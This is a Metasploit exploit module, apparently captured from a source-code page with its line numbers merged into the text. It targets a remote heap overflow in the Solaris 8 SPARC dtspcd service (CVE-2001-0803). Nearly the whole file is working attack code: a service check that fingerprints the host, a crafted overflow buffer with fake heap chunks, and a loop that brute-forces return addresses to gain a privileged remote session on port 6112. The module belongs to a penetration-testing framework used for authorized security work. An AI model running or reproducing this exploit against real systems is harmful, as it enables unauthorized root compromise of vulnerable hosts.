Path: blob/master/modules/exploits/solaris/dtspcd/heap_noir.rb
19778 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GreatRanking78include Msf::Exploit::Remote::Tcp9prepend Msf::Exploit::Remote::AutoCheck1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Solaris dtspcd Heap Overflow',16'Description' => %q{17This is a port of noir's dtspcd exploit. This module should18work against any vulnerable version of Solaris 8 (sparc).19The original exploit code was published in the book20Shellcoder's Handbook.21},22'Author' => [ 'noir <noir[at]uberhax0r.net>', 'hdm' ],23'License' => MSF_LICENSE,24'References' => [25['CVE', '2001-0803'],26['OSVDB', '4503'],27['BID', '3517'],28['URL', 'https://web.archive.org/web/20011116020106/http://www.cert.org/advisories/CA-2001-31.html'],29['URL', 'https://media.wiley.com/product_ancillary/83/07645446/DOWNLOAD/Source_Files.zip'],3031],32'Privileged' => true,33'Payload' => {34'Space' => 800,35'BadChars' => "\x00\x0d",36'PrependEncoder' => ("\xa4\x1c\x40\x11" * 3)37},38'Platform' => 'solaris',39'Arch' => ARCH_SPARC,40'Targets' => [41[42'Solaris 8',43{44'Rets' => [450xff3b0000, 0x2c000, 0x2f000, 0x400, [ 0x321b4, 0x361d8, 0x361e0, 0x381e8 ]46]47}48],49],50'DisclosureDate' => '2002-07-10',51'DefaultTarget' => 0,52'Notes' => {53'SideEffects' => [ IOC_IN_LOGS ],54'Reliability' => [ REPEATABLE_SESSION ],55'Stability' => [ CRASH_SERVICE_RESTARTS ]56}57)58)5960register_options([61Opt::RPORT(6112)62])63end6465def exploit66target['Rets'][4].each do |tjmp|67rbase = target['Rets'][1]6869while (rbase < target['Rets'][2])70break if session_created?7172retloc = target['Rets'][0] + tjmp73print_status(format('Trying 0x%<retloc>.8x 0x%<rbase>.8x...', retloc: retloc, rbase: rbase))7475begin76attack(retloc, rbase, payload.encoded)77break if session_created?7879attack(retloc, rbase + 4, payload.encoded)80rbase += target['Rets'][3]81rescue EOFError82# This is expected83end84end85end8687handler88disconnect89end9091def check92spc_connect93spc_write(spc_register('root', "\x00"), 4)94host, os, ver, arch = spc_read.gsub("\x00", '').split(':')9596return CheckCode::Safe unless host9798spc_write('', 2)99100return CheckCode::Safe("Detected dtspcd running #{os} v#{ver} on #{arch} hardware. Target host architecture #{arch} is not sparc.") unless arch =~ /sparc/i101102CheckCode::Detected("Detected dtspcd running #{os} v#{ver} on #{arch} hardware.")103end104105def chunk_create(retloc, retadd)106"\x12\x12\x12\x12" +107[retadd].pack('N') +108"\x23\x23\x23\x23\xff\xff\xff\xff" \109"\x34\x34\x34\x34\x45\x45\x45\x45" \110"\x56\x56\x56\x56" +111[retloc - 8].pack('N')112end113114def attack(retloc, retadd, fcode)115spc_connect116117buf = ("\xa4\x1c\x40\x11\x20\xbf\xff\xff" * ((4096 - 8 - fcode.length) / 8))118buf << fcode119buf << "\x00\x00\x10\x3e\x00\x00\x00\x14"120buf << "\x12\x12\x12\x12\xff\xff\xff\xff"121buf << "\x00\x00\x0f\xf4"122buf << chunk_create(retloc, retadd)123buf << 'X' * ((0x103e - 8) - buf.length)124125spc_write(spc_register('', buf), 4)126127handler128rescue EOFError129# This is expected130end131132def spc_register(user = '', buff = '')133"4 \x00#{user}\x00\x0010\x00#{buff}"134end135136def spc_write(buff = '', cmd = '')137data = format('%08x', 2)138data << format('%02x', cmd)139data << format('%04x', buff.length)140data << format('%04x', (@spc_seq += 1))141data << " #{buff}"142sock.put(data)143end144145def spc_read146# Bytes: 0-9 = channel, 9-10 = cmd, 10-13 = mbl, 14-17 = seq147head = sock.get_once(20)148sock.get_once(head[10, 13].hex) || ''149end150151def spc_connect152disconnect153connect154@spc_seq = 0155end156end157158159